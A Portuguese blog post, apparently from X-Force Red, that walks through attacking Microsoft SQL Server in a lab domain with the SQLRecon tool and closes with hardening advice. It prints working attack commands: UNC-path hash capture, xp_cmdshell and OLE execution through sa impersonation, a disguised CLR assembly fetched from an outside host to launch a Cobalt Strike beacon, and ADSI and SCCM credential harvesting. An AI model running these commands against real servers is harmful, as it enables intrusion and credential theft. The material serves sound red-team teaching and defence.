Alerta aos bancos de dados: explorando o Microsoft SQL Server com SQLRecon.

Ao longo da minha carreira, tive a oportunidade privilegiada de conhecer o funcionamento interno de algumas das maiores organizações do mundo. Na minha experiência, a maioria dos setores verticais depende de redes Windows corporativas. Na verdade, posso contar nos dedos de uma mão o número de vezes que vi uma rede descentralizada zero trust, Enterprise Linux, rede macOS ou a alternativa Active Directory (FreeIPA).

Ao navegar por essas redes corporativas grandes e frequentemente complexas, é comum encontrar Microsoft SQL Server, que normalmente é implementado para dar suporte a uma função de negócios. Para leitores que não estão familiarizados com o SQL Server, a verdade é que ele é um software de banco de dados relacional geralmente instalado em um servidor Windows. A finalidade principal do SQL Server é armazenar e fornecer dados às aplicações ou aos usuários.

Este post de blog vai avaliar a superfície de ataque apresentada pelo SQL Server e como explorar configurações incorretas e vulnerabilidades usando a ferramenta do X-Force Red SQLRecon . Além disso, serão apresentadas considerações defensivas quando aplicáveis.

As vulnerabilidades e configurações incorretas do SQL Server estão bem documentadas. Embora esses pontos fracos aparentemente sempre tenham existido, o fortalecimento do SQL Server continua sendo frequentemente negligenciado pelas equipes de defesa. Estou me referindo principalmente a fortalecer a configuração subjacente e impedir o acesso trivial ao serviço.

Uma justificativa plausível para essa omissão é que existem riscos maiores que uma organização precisa priorizar e lidar. Como resultado, o fortalecimento do SQL Server torna-se secundário, uma vez que alterações nas configurações do banco de dados de produção podem resultar em problemas de disponibilidade, que podem se manifestar em problemas operacionais e, em última instância, afetar a produtividade dos negócios.

Uma das configurações incorretas mais comuns que continuo vendo em redes corporativas é a capacidade de qualquer objeto de domínio autenticado se conectar ao serviço SQL como uma conta de baixo privilégio. Isso requer apenas um contexto de domínio válido. Em outras palavras, um token válido para um usuário de domínio ou uma conta de computador do domínio.

Um exemplo para ilustrar, se a estação de trabalho de um usuário corporativo comum estiver comprometida e houver uma rota de rede para um SQL Server mal configurado, é possível que um adversário:

• Execute comandos SQL limitados no SQL Server remoto.
• Determine os privilégios que eles têm, que podem oferecer oportunidades de escalada por meio de ataques no estilo falsificação de identidade.
• Instrua o SQL Server para fornecer credenciais por meio de uma solicitação para um caminho Universal Naming Convention (UNC), o que pode resultar na obtenção de credenciais com hash, que por sua vez podem ser quebradas ou transmitidas para executar ataques de retransmissão.
• Pegue carona nos direitos atribuídos a um SQL Server que está vinculado a outros SQL Servers, o que pode resultar no escalonamento de privilégios.

Esses são apenas alguns exemplos do que um adversário pode conseguir ao acessar um SQL Server mal configurado em um contexto de domínio. A superfície de ataque apresentada pelo SQL Server sempre dependerá do ambiente e da configuração em questão.

Nos últimos tempos, os operadores de red team têm sido verdadeiramente privilegiados pela variedade de abusos do Active Directory que podem ser aproveitados para elevar privilégios em redes corporativas da Microsoft. No entanto, à medida que as equipes defensivas começam a lidar com essas fraquezas, naturalmente os caminhos para aumentar os privilégios por meio da exploração do Active Directory tendem a se esgotar.

Ainda assim, seguimos em frente e avançamos na proverbial lista de ataques, buscando, com otimismo, caminhos de escalonamento que nos ajudarão a agir de acordo com nossos objetivos. Confesso que reluto um pouco em admitir que, durante muito tempo, o ataque ao SQL Server estava bem no final da minha lista de prioridades. Em vez disso, optei por priorizar coisas como espaços de armazenamento compartilhado, aplicações web internas, ferramentas de DevOps ou infraestrutura de nuvem. Você provavelmente já imagina onde quero chegar…

Em algum momento de 2022, eu estava em uma operação e cheguei a um ponto de estagnação após esgotar todos os caminhos de escalonamento preferenciais. Isso se deveu em grande parte a um ambiente excepcionalmente bem reforçado. Pelo menos, era o que eu pensava antes de descobrir um grande conjunto de servidores SQL Server, em que certamente havia alguma configuração incorreta ou vulnerabilidade.

Sem que eu soubesse na época, e somente depois de escrever esta postagem no blog, descobri que a Kaspersky constatou que os ataques recorrentes usando o SQL Server haviam aumentado 56% em 2022. Esse é um número impressionante.

Como operador de red team, costumo interagir com sistemas comprometidos nas redes dos nossos clientes por meio de um framework de comando e controle (C2). Os clientes com os quais temos a sorte de trabalhar geralmente têm bons programas de cibersegurança, equipes de defesa capazes e controles de segurança modernos, como soluções de detecção e resposta de endpoint (EDR).

Várias ferramentas foram desenvolvidas ao longo dos anos para atacar o SQL Server. O que eu sempre acabava buscando durante os testes de penetração era PowerUpSQL . Este é um projeto criado pelo Scott Sutherland (@_nullbind), desenvolvido principalmente em PowerShell.

As soluções de EDR podem ser um adversário formidável, pois fazem um trabalho fantástico na detecção de ferramentas maliciosas de código aberto projetadas para segurança ofensiva, especialmente aquelas que dependem do PowerShell. Isso não significa menosprezar as ferramentas de pós-invasão do PowerShell, elas servem a um propósito, mas não para o problema que eu estava enfrentando no ambiente em que estava.

O problema que enfrentei na minha operação foi que eu precisava encontrar uma maneira de me conectar ao Microsoft SQL Server e começar a analisá-lo para determinar se havia alguma configuração incorreta ou vulnerabilidade. No entanto, usar qualquer uma das ferramentas de pós-invasão existentes do SQL Server, que dependem do PowerShell, teria sido uma maneira certeira de ser pego pela equipe defensiva. Isso se deve a uma série de razões, que não irei detalhar, mas o PowerShell não é a ferramenta ideal para realizar ataques pós-invasão devido a funcionalidades de segurança como AMSI, modo de linguagem restrito e vários estilos de registro. Essa situação se agrava ainda mais quando uma solução EDR e outros controles de registro e monitoramento estão em funcionamento.

Como alternativa, operadores de red team frequentemente escolhem C# como linguagem para desenvolver ferramentas pós-invasão, pois ela oferece uma maneira fácil de se conectar com o framework .NET juntamente com APIs do Windows.

Não sou um desenvolvedor C# ou .NET, mas sei o suficiente para fazer ferramentas que resolvam um problema que estou enfrentando. Fila SQLRecon , um toolkit SQL em C# projetado para reconhecimento ofensivo e pós-invasão.

SQLRecon  ajuda a lidar com a lacuna de ferramentas pós-invasão, modernizando a abordagem que os operadores de red team podem adotar ao atacar SQL Servers. A ferramenta foi projetada para ser modular, permitindo facilidade de extensão. SQLRecon  é compatível tanto de forma independente quanto dentro de um conjunto diversificado de frameworks C2. Ao usar esta última, SQLRecon  pode ser executado em processo ou por meio do fork and run tradicional.

SQLRecon  tem mais de 80 módulos para escolher. Veja abaixo uma visão geral de alto nível de algumas das funcionalidades fornecidas pelo SQLRecon :

Provedores de autenticação

• Conta de SQL database local
• Autenticação de domínio do Windows com base no token atual
• Autenticação de domínio do Windows com credenciais fornecidas pelo usuário
• Autenticação de domínio Azure
• Autenticação local Azure

Módulos de enumeração

• Localizar SQL Servers associados a um Service Principal Name (SPN)
• Obter informações sobre o serviço SQL
• Determinar privilégios no SQL Server
• Listar bancos de dados, tabelas, colunas e usuários
• Pesquisar conteúdo em bancos de dados
• Executar consultas arbitrárias
• Enumerar os usuários que podem ser representados
• Identificar SQL Servers vinculados

Execução de comandos, movimento lateral e escalonamento de privilégios

• xp_cmdshell
• Procedimentos de automação OLE
• Carregar e executar assemblies .NET CLR personalizados
• Tarefas do SQL Agent
• Coleta de credenciais ADSI

Segurança operacional

• Validação contínua de autenticação
• Registro extensivo de linha de comando
• Restrições de execução baseadas na ativação ou desativação das opções do SQL Server
• Tratamento de erros de argumentos
• Criação de conteúdo SQL alfanumérico aleatório, quando aplicável
• Limpeza automática de dados criados no SQL Server para fins de execução de comandos

Outro

• Capacidade de alternar entre contextos de banco de dados
• Estabelecer conexão com SQL Servers que utilizem portas TCP não convencionais
• Suporte a ataques do tipo impersonação
• Capacidade de enumerar e atacar SQL Servers vinculados
• Suporte a uma variedade de ataques a SQL database do Microsoft Systems Center Configuration Manager (SCCM) e do Microsoft Endpoint Configuration Manager (ECM)
• Todas as consultas SQL usam System.Data.SqlClient  namespace, desenvolvido pela Microsoft

Para obter informações detalhadas sobre o uso de cada técnica, consulte o wiki.

Para preparar o cenário para as próximas demonstrações, estarei operando a partir de uma estação de trabalho Windows 10 comprometida que pertence a Jeff Smith(JSmith) na kawalabs.local  rede corporativa.

A estação de trabalho de Jeff tem uma rota de rede para três SQL Servers, cada um executando versões diferentes; 2016, 2019 e 2022.

Um link SQL foi configurado entre SQL01  e SQL02 e outro link SQL foi configurado entre SQL02  e SQL03 . Para leitores que não estão familiarizados com SQL Servers vinculados, isso permite efetivamente que uma instância SQL execute instruções SQL em outra instância SQL. Por exemplo, SQL01  podem executar instruções SQL em SQL02, e SQL02  pode executar instruções em SQL03, mas SQL01 não pode executar instruções em SQL03  e vice-versa. É comum ver SQL Servers vinculados em redes corporativas reais.

Além disso, existe um link do Active Directory Services (ADSI)  entre SQL03  e o controlador de domínio primário no kawalabs.local  domínio, DC01 . Os links ADSI fornecem ao SQL Server uma maneira de interagir com objetos do Active Directory.

Por fim, o kawalabs.local  foi conectado a um domínio do Azure Active Directory, kawalabs.onmicrosoft.com  usando o Azure AD Connect. Isso permite que os usuários do Active Directory local no kawalabs.local  acessem recursos na nuvem do Azure. O  kawalabs.onmicrosoft.com  locatário do Azure AD contém um SQL Server que armazena dados de pagamento, ECOM01 .

Figura 1: configuração de rede

Além disso, usarei o Cobalt Strike, que é um framework popular de comando e controle, para realizar tarefas pós-invasão a partir da estação de trabalho comprometida de Jeff(DESKTOP-LF8Q3C6) . Na captura de tela a seguir, executei o whoami  comando. Isso é apenas para mostrar que Jeff não é um usuário privilegiado e tem direitos básicos dentro do kawalabs.local  domínio e rede mais ampla.

Figura 2: executando o comando whoami

No momento em que este texto foi escrito,SQLRecon tem dois módulos de enumeração que podem ser usados para descobrir SQL Servers em uma rede, bem como obter algumas informações sobre uma instância do SQL Server. O comando a seguir enumera os Service Principal Names (SPNs) do Active Directory e identifica se há algum SPN definido para SQL Servers. No kawalabs.local domínio, há um SPN definido para algumas contas diferentes, o que é demonstrado na captura de tela abaixo.

SQLRecon.exe /e:SqlSpns /d:kawalabs.local

Figura 3: identificando SQL Servers por meio da coleção SPN

O info  o módulo é bastante útil para obter informações adicionais sobre um servidor. O exemplo abaixo demonstra o tipo de informação recuperada de um SQL Server.

SQLRecon.exe /a:WinToken /h:SQL02 /m:info

Figura 4: obtenção de informações sobre SQL02

Um agradecimento especial ao Daniel Duggan (@_RastaMouse) por suas contribuições aos módulos de enumeração nos SQLRecon .

Módulos Standard são executados em uma única instância do SQL Server.

No exemplo a seguir, eu uso o AzureAD  provedor de autenticação, que usa o nome de usuário e a senha de uma conta do Azure Active Directory para autenticação, ECOM01 uma instância do SQL localizada na nuvem do Azure. Em seguida, uso o whoami  módulo para determinar os privilégios que Jeff tem em ECOM01 .

SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:whoami

Figura 5: enumeração de privilégios de SQL para jsmith@kawalabs.onmicrosoft.com

Por padrão, SQLRecon  se conectará ao master  banco de dados, já que esse banco de dados normalmente existe em todas as instâncias do SQL Server. No entanto, você pode listar facilmente todos os diferentes bancos de dados nas instâncias do SQL Server usando o databases  módulo.

SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:databases

Figura 6: enumeração de bancos de dados no ECOM01

Você pode se conectar a outros bancos de dados especificando o nome do banco de dados com a /database : flag e passar adiante qualquer módulo que você queira executar. No exemplo abaixo, eu me conectei ao Payments  banco de dados ECOM01  e executei uma SQL query personalizada que obterá todo o conteúdo da cc  tabela.

SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /database:Payments /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:query /c:"select * from cc;"

Figura 7: obtenção de dados fictícios do cartão da cc  tabela em Payments  banco de dados ECOM01

Passando para alguns módulos mais interessantes, SQLRecon  suporta injeção de caminho UNC, que pode ser executada por uma conta de usuário de baixo privilégio, como KAWALABS\JSmith . Isso pode resultar na obtenção de credenciais criptografadas, que por sua vez podem ser quebradas ou repassadas para realizar ataques de retransmissão. No exemplo a seguir, eu uso o WinToken  provedor de autenticação, que usa o token para a KAWALABS\JSmith  conta de usuário, para autenticação em SQL02 um servidor local.

SQLRecon.exe /a:WinToken /h:SQL02 /m:smb /rhost:\\172.16.10.19\Projects

Figura 8: Injeção de caminho UNC

Na captura de tela a seguir, podemos ver a conexão sendo feita por SQL02  para um host sob nosso controle (172.16.10.19). Isso resulta na obtenção do hash NetNTLMv2 para a KAWALABS\mssql_svc  conta de domínio.

Figura 9: obtenção do hash NetNTLMv2 para KAWALABS\mssql_svc

SQLRecon  tem uma variedade de módulos de execução de comandos que podem ser usados para executar comandos arbitrários no sistema subjacente. Isso é particularmente útil se você estiver buscando realizar escalonamento de privilégios e/ou movimento lateral. Proteções significativas foram implementadas em todo o SQLRecon para garantir que a segurança operacional seja ativada por padrão. As duas proteções principais são:

• Validação contínua de autenticação, em que SQLRecon  será validado se é possível autenticar no domínio ou no SQL Server antes de executar qualquer módulo.
• Barreiras de proteção de execução, em que SQLRecon  será validado se existem condições ideais antes de executar qualquer módulo que carregue objetos, crie objetos ou execute comandos.

xp_cmdshell  há muito tempo, esse é um dos métodos mais comuns para executar comandos no servidor subjacente por meio de SQL Database. No exemplo a seguir, utilizei o nível de privilégio baixo de KAWALABS\JSmith  conta para tentar iniciar a notepad.exe  aplicação em SQL01 .

SQLRecon.exe /a:WinToken /h:SQL01 /m:xpCmd /c:notepad.exe

Figura 10: demonstração da proteção que impede a execução do comando

Como visto na imagem acima, uma barreira de execução é encontrada e uma mensagem de erro é recebida, indicando que xp_cmdshell  está desativada. Essa é geralmente a configuração padrão na maioria das versões do SQL Server. O bom é que, SQLRecon  tem um enableXp  módulo, que permitirá a xp_cmdshell  configuração. O SQLRecon também tem um disableXp  módulo para que você possa reverter ao estado seguro original após executar seu comando com xpCmd .

SQLRecon.exe /a:WinToken /h:SQL01 /m:enableXp

Figura 11: demonstração de outra proteção, em que privilégios insuficientes impedem que a execução de comandos ocorra

Como esperado, o baixo privilégio KAWALABS\JSmith  da conta encontrou uma proteção de execução e recebeu uma mensagem de que não tem os privilégios necessários para ativar ou desativar xp_cmdshell  …ou será que não?

A impersonação de SQL é uma permissão especial que, essencialmente, permite que um usuário ou grupo opere com a permissão de outro usuário, bem como com suas próprias permissões. A captura de tela a seguir é tirada da configuração de back-end do SQL02  e demonstra que BUILTIN\Users  pode se passar por sa  conta.

Figura 12: BUILTIN\Users  pode se passar por sa  conta em SQL02

SQLRecon  tem um impersonate  módulo para ajudar a determinar se uma conta de usuário pode se passar por outro usuário.

SQLRecon.exe /a:WinToken /h:SQL02 /m:impersonate

Como vemos na captura de tela abaixo, a KAWALABS\JSmith  conta de usuário de baixo privilégio pode se passar por sa  conta em SQL02 . Isso demonstra a capacidade de executar comandos na instância do SQL com privilégios de administrador. Além disso, significa que agora podemos executar comandos do sistema no servidor subjacente.

Figura 13: enumeração de contas que podem ser representadas no SQL02

Para demonstrar outro módulo de execução de comandos, SQLRecon  pode executar comandos no usuário subjacente usando procedimentos de automação OLE. Isso usa o odsole70.dll  para interagir com objetos COM de modo que wscript.shell  pode ser aproveitada para executar comandos arbitrários do sistema.

Módulos de impersonação sempre são precedidos pela letra i , e esses módulos precisarão do nome da conta que será falsificada. No exemplo a seguir, eu me conecto a SQL02  como baixo privilégio KAWALABS\JSmith  de conta e assumo a identidade da sa  conta para habilitar os procedimentos de automação OLE em SQL02 .

a:WinToken /h:SQL02 /i:sa /m:iEnableOle

Figura 14: habilitar procedimentos de automação OLE usando impersonação

Agora que os procedimentos de automação OLE estão ativados em SQL02 , estou em posição de executar qualquer comando arbitrário no servidor subjacente no contexto da conta de usuário que iniciou o processo do SQL Server. No exemplo a seguir, eu executo um processo secundário do PowerShell que lista o diretório do mesmo compartilhamento que foi utilizado anteriormente para capturar credenciais NetNTLMv2. Lembre-se de que isso é principalmente para fins de demonstração e normalmente não é uma ação que seria executada em um engajamento de simulação de adversário.

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iOleCmd /c:"powershell.exe ls \\172.16.10.19\Projects"

Figura 15: usando o PowerShell para listar um diretório em um host remoto

Como visto na captura de tela acima, um objeto OLE gerado aleatoriamente é criado, o comando malicioso é executado e os objetos OLE são destruídos. Isso é intencional, pois não queremos deixar para trás nenhuma evidência de nossas ações.

Na captura de tela a seguir, podemos ver a conexão sendo feita pela KAWALABS\mssql_svc  conta de usuário via SQL02  para um host sob nosso controle (172.16.10.19). Isso resulta na obtenção do hash NetNTLMv2 para a KAWALABS \mssql_svc  conta de computador.

Figura 16: obtenção do hash NetNTLMv2 para KAWALABS\mssql_svc

O exemplo a seguir demonstra o uso de impersonação para executar o tasklist  usando o comando xp_cmdshell  em SQL02 .

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iEnableXp

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iXpCmd /c:tasklist

Figura 17: Habilitação xp_cmdshell  e executar comandos do sistema usando impersonação em SQL02

É sempre uma boa prática reverter as configurações para o estado original em que se encontravam.

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableOle

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableXp

Figura 18: desativando os procedimentos de automação OLE e xp_cmdshell  em SQL02

SQLRecon  também podem executar ataques contra instâncias do SQL Server vinculadas. A captura de tela a seguir é tirada da configuração de back-end do SQL02  e demonstra que SQL02  tem um link para SQL03 . Pela minha experiência, essa é uma configuração comum em grandes redes corporativas.

Figura 19: SQL02  tem um link SQL para SQL03

A configuração de um link de uma instância do SQL Server para outra geralmente exige um conjunto de credenciais privilegiadas para estabelecer e vincular o link. Isso é benéfico para os adversários, pois permite que comandos sejam executados no SQL Server vinculado no contexto da conta que estabeleceu a conexão. Outro ponto a ser considerado é que os servidores vinculados podem ser segmentados a partir da rede em que um adversário está operando. Isso poderia representar uma oportunidade para ultrapassar limites de segmentação e entrar em uma zona de rede com requisitos de segurança mais elevados.

SQLRecon  tem um links  módulo para determinar se um SQL Server tem alguma instância SQL vinculada.

SQLRecon.exe /a:WinToken /h:SQL02 /m:links

Figura 20: enumerando SQL Servers vinculados em SQL02

Os módulos vinculados são sempre precedidos pela letra l , e esses módulos precisarão do nome de um servidor vinculado contra o qual você deseja emitir comandos. No exemplo a seguir, eu me conecto a SQL02  como o baixo privilégio KAWALABS\JSmith  de conta e executo o lWhoami  comando no servidor vinculado SQL03  instância.

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lWhoami

Figura 21: enumeração dos privilégios SQL que podemos assumir no SQL03  via SQL02

Como pode ser visto na captura de tela acima, estamos operando no contexto do sa  conta em SQL03 . Isso ocorre porque a conta sa foi usada para estabelecer o link SQL do SQL02  para SQL03 .

Todos os módulos de execução no SQLRecon  são totalmente compatíveis com SQL Servers vinculados. No exemplo a seguir, eu habilito integração do Common Language Runtime (CLR) em SQL02 .

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lEnableClr

Figura 22: habilitação da integração CLR no SQL02

A integração com o CLR permite que conjuntos de dados .NET personalizados sejam importados para o SQL Server. Esses conjuntos de dados são armazenados dentro de um procedimento armazenado antes de serem executados. Este é um bom ataque de movimento lateral.

Na captura de tela a seguir, crio um assembly .NET personalizado compatível com o SQL Server CLR chamado hollow.dll .  Isso armazenará uma carga útil do Cobalt Strike em um procedimento armazenado chamado ExecuteShellcode . A carga útil executa o process hollowing básico e injeta o shellcode do Cobalt Strike no Internet Explorer recém-criado(iexplore.exe) .

Figura 23: hollow.dll , um assembly .NET compatível com CLR do SQL Server

Se você quiser saber mais sobre os assemblies .NET personalizados compatíveis com o SQL Server CLR, visite a seção CLR do site SQLRecon  wiki. Um exemplo de hollow.dll  pode ser encontrado aqui.

Na demonstração a seguir, fiz o upload de hollow.dll  para um servidor web e renomeei o assembly para favicon.png . Eu instruo o vinculado SQL03  servidor para download favicon.png  de um servidor web para realizar as etapas necessárias para importar o assembly personalizado de um procedimento armazenado do SQL Server e executar a carga útil. Isso resulta na obtenção de um beacon Cobalt Strike no contexto de KAWALABS\mssql_svc  usuário em SQL03 .

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:https://cdn.popped.io/favicon.png /function:ExecuteShellcode

Figura 24: obtenção de um beacon Cobalt Strike no contexto de KAWALABS\mssql_svc  em SQL03

Obviamente, o exemplo anterior exige que SQL03  tenha acesso à Internet para que o assembly seja baixado de um servidor da web voltado para o público. Há casos em que baixar um recurso externo de um servidor web voltado para o público não é possível ou desejável. Assim, SQLRecon  permite que assemblies personalizados sejam carregados diretamente do sistema de arquivos do host comprometido ou de um compartilhamento SMB. Na demonstração a seguir, fiz o upload de hollow.dll  em um servidor SMB local e renomeei o assembly para Reports.xlsx . Eu instruo o vinculado SQL03  servidor para download Reports.xlsx  do servidor SMB e executei as etapas necessárias para importar o assembly personalizado para um procedimento armazenado do SQL Server e executei a carga útil. Isso resulta na obtenção de um beacon Cobalt Strike no contexto de KAWALABS\mssql_svc  usuário em SQL03 .

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:\\172.16.10.19\Projects\Reports.xlsx /function:ExecuteShellcode

Figura 25: obtenção de um beacon Cobalt Attack no contexto de

 KAWALABS\mssql_svc<code> on <code>SQL03

SQLRecon  também pode realizar ataques contra instâncias de Servidor ADSI vinculadas para obter credenciais em texto não criptografado para contas de domínio. Para obter mais informações sobre a técnicas de ADSI, consulte a postagem do blog da Tarlogic. A captura de tela a seguir foi tirada da configuração do back-end SQL03  e demonstra que SQL03  tem um link ADSI para o controlador de domínio primário no kawalabs.local  domínio, DC01 . Esse link ADSI é representado pelo linkADSI  objeto.

Figura 26: SQL03  tem um link ADSI para DC01

A configuração de um link ADSI de uma instância do SQL Server para um controlador de domínio do Active Directory não exige necessariamente credenciais privilegiadas. No entanto, durante operações no mundo real, vi casos em que o princípio do menor privilégio não foi aplicado.

No exemplo a seguir, eu uso o lLinks  módulo para primeiro conectar-se a SQL02 e, em seguida, consultar SQL03  para SQL Server vinculado adicional. Você pode pensar nisso como um cenário de duplo link.

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lLinks

Figura 27: enumerando links no SQL03  de SQL02

Agora que verificamos que existe um link ADSI em SQL03 , podemos aproveitar o lAdsi  módulo para obter as credenciais de domínio em texto puro usadas para configurar a conexão ADSI do SQL03  para DC01 . Envolve o upload de um assembly CLR personalizado que contém um servidor LDAP em uma nova rotina de tempo de execução do SQL Server em SQL03 . O servidor LDAP será então executado e escutará conexões somente locais em uma porta fornecida pelo usuário, neste caso, 49103. Em seguida, aproveitamos os trabalhos do agente do SQL Server no SQL03 para direcionar as credenciais usadas para configurar a conexão ADSI para fazer uma solicitação LDAP ao servidor LDAP local na porta 49103. Esse redirecionamento temporário de autenticação LDAP é o que, em última análise, resulta na obtenção de credenciais de domínio em texto não criptografado. Deve-se observar que os módulos Adsi e iAdsi não usam trabalhos do agente SQL Server para iniciar o processo de solicitação LDAP. Em vez disso, são usadas consultas SQL padrão.

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lAdsi /rhost:linkADSI /lport:49103

Figura 28: Ataque de coleta de credenciais ADSI com ligação dupla

Uma das maiores extensões para SQLRecon  a informação vem do meu colega Dave Cossa (@G0ldenGunSec), que apresentou uma variedade de módulos que podem ser usados para aproveitar o Microsoft System Center Configuration Manager (SCCM) e o Microsoft Endpoint Configuration Manager (ECM). Os módulos SCCM foram desenvolvidos a partir de um engajamento do mundo real, onde o abuso do banco de dados SCCM SQL Server facilitou nosso progresso para alcançar os objetivos. Na maioria dos casos, para interagir com o banco de dados SCCM, é necessário adquirir um contexto de privilégio elevado ou obter acesso ao servidor SCCM. Nos exemplos abaixo, tenho um beacon Cobalt Strike em execução no contexto do KAWALABS\mssccm_svc  em um servidor ECM, MECM01 .

A partir de agora, vou me referir ao ECM e ao SCCM simplesmente como SCCM.

No exemplo a seguir, uso o módulo de bancos de dados para enumerar osdatabases que existem na instância do SQL Server em MECM01 .

SQLRecon.exe /a:WinToken /h:MECM01 /m:databases

Figura 29: enumeração de bancos de dados na MECM01

Como vemos na captura de tela acima, o CM_KAW  banco de dados existe, provavelmente é o banco de dados configurado para SCCM neste servidor.

Os módulos do SCCM são sempre precedidos pela letra s , e esses módulos precisarão do nome do banco de dados do SCCM para o qual você deseja emitir comandos. No exemplo a seguir, eu me conecto ao CM_KAW  banco de dados MECM01  como o KAWALABS\mssccm_svc  conta e emitir o sUsers  comando. Esse módulo enumera todas as entidades que estão configuradas para fazer logon no servidor SCCM.

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers

Figura 30: enumeração de todos os usuários que podem fazer login no SCCM via o banco de dados SCCM SQL Server

Também é possível enumerar tarefas que foram configuradas no SCCM usando o sTaskList  módulo.

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers

Figura 31: enumeração de tarefas configuradas no SCCM via banco de dados SCCM SQL Server

O SCCM geralmente precisa armazenar credenciais, que são usadas para autenticar sistemas ou recursos em um ambiente para implementar pacotes de software ou executar qualquer uma das várias outras ações fornecidas pelo SCCM. Usando o sCredentials  módulo, podemos conseguir uma lista de credenciais armazenadas no cofre.

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sCredentials

Figura 32: obtendo credenciais armazenadas no cofre via banco de dados SCCM SQL Server

Na captura de tela acima, podemos ver que uma credencial foi protegida, e esta é a credencial do KAWALABS\mssccm_svc  conta.

Usando a lógica de Adam Chester( @_xpn_), é possível descriptografar as credenciais armazenadas no cofre do SCCM e obter a senha em texto simples para contas protegidas. Isso exige privilégios de administrador local no servidor SCCM. Na captura de tela a seguir, uso o sDecryptCredentials  para descriptografar a credencial armazenada no cofre KAWALABS\mssccm_svc  conta.

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sDecryptCredentials

Figura 33: descriptografia de credenciais SCCM armazenadas em cofre

Para evitar que os invasores abusam do SQL Server, os defensores podem adotar uma abordagem em camadas ao implementar controles de segurança. Em primeiro lugar, eu sugeriria a leitura da orientação oficial da Microsoft sobre as melhores práticas de segurança do SQL Server.

A próxima etapa deve ser a orientação de prevenção, detecção e mitigação noSQLRecon  wiki, que contém excelentes considerações defensivas. Selecionei alguns dos controles mais importantes a serem implementados e os listei abaixo.

Os seguintes controles de segurança devem ser considerados para implementação em nível de rede.

• Garanta que as rotas de rede para SQL Servers tenham sido consideradas e limitadas apenas a um conjunto autorizado de sistemas ou sub-redes. As estações de trabalho raramente exigem a capacidade de se comunicar diretamente com SQL Servers. Considere bloquear o acesso ao TCP 1433, se possível.
• Verifique se as ferramentas de registro e monitoramento estão capturando SQL queries que atravessam os limites da rede. Seria incomum uma estação de trabalho enviar SQL queries para um SQL server.

estações de trabalho e servidores no ambiente.

• Validar regularmente se os controles de segurança baseados no host, como as soluções de detecção e resposta de endpoint , estão habilitados e se as assinaturas do produto estão totalmente atualizadas.
• Os responsáveis pela segurança devem garantir que o framework .NET v4.8 esteja instalado nos endpoints Windows e que qualquer produto de segurança baseado em host que esteja sendo usado seja compatível com AMSI para .NET. Isso permite a varredura de assemblies .NET na memória.
• Habilitar ou configurar uma solução de lista de permissões de aplicações para evitar binários não assinados, como SQLRecon , impedindo sua execução direta no endpoint.

• Garanta que as diretrizes de proteção tenham sido seguidas no sistema operacional Windows Server subjacente. Considere a possibilidade de instalar apenas os componentes necessários do SQL Database.
• Garanta que os SQL Servers estejam incluídos na política de gerenciamento de patches da organização e que os patches sejam aplicados rotineiramente no serviço SQL e no SQL Server.
• Considere a possibilidade de restringir ou remover a BUILTIN\Users  conta de autenticação em instâncias do SQL Server.
• Siga o princípio do privilégio mínimo ao configurar funções nas contas de usuário. Esse princípio também deve ser aplicado à conta de serviço que inicia o SQL Server.
• Remova associações desnecessárias do nome principal do serviço SQL.
• Use senhas fortes para qualquer conta local, como a sa  conta.
• Registre, centralize a ingestão e audite os eventos de logon do SQL Server. A Netwrix escreveu um excelente blog sobre como isso pode ser feito.
• Criptografe conteúdo sensível. Isso protege os conjuntos de dados de serem expostos, mesmo que o SQL Server esteja comprometido.
• Avalie os links entre SQL Servers e determine o tipo de autenticação que vincula o link. Se possível, opte por usar o contexto de segurança de autenticação atual, em vez de usar o contexto do sa  conta.
• Avalie todas as impersonações que tiverem sido configuradas e determine seus requisitos.
• Se estiver usando SQL Database da Azure, garanta que o Microsoft Advanced Threat Protection esteja habilitado e configurado para enviar alertas.

Os ataques contra o SQL Server continuam sendo relevantes no cenário atual de cibersegurança. Os adversários estão sempre evoluindo as técnicas para escapar dos controles de defesa e, ao fazer isso, estão utilizando cada vez mais a exploração de serviços auxiliares, como o SQL Server. Esses ataques se tornaram mais sofisticados, muitas vezes empregando técnicas menos comuns para contornar as medidas de segurança tradicionais.

Ao explorar o SQL Server, os adversários podem obter acesso não autorizado a dados confidenciais, manipular bancos de dados e até comprometer sistemas inteiros. As consequências desses ataques podem ser graves, resultando em violações de dados, perdas financeiras e danos à reputação de uma organização.

Para mitigar o risco desses ataques, é fundamental que as organizações revisem suas configurações do SQL Server e adotem as melhores práticas de segurança. Além disso, as organizações devem investir em soluções de segurança que ofereçam recursos de monitoramento em tempo real, detecção de anomalias e análise comportamental. Essas soluções podem ajudar a detectar e responder a ataques de forma mais eficaz, minimizando o potencial impacto em dados e sistemas críticos. Ao tomar medidas proativas para proteger os ambientes do SQL Server, as organizações podem reduzir significativamente o risco de serem vítimas desses ataques e proteger seus valiosos ativos de dados.

Você sempre pode encontrar a versão estável mais recente do SQLRecon  na página do Github do X-Force Red.

Se você estiver participando do Black Hat Las Vegas e tiver interesse em saber mais, poderá participar da minha sessão: explorando o Microsoft SQL Server com SQLRecon na quinta-feira, 10 de agosto às 13h.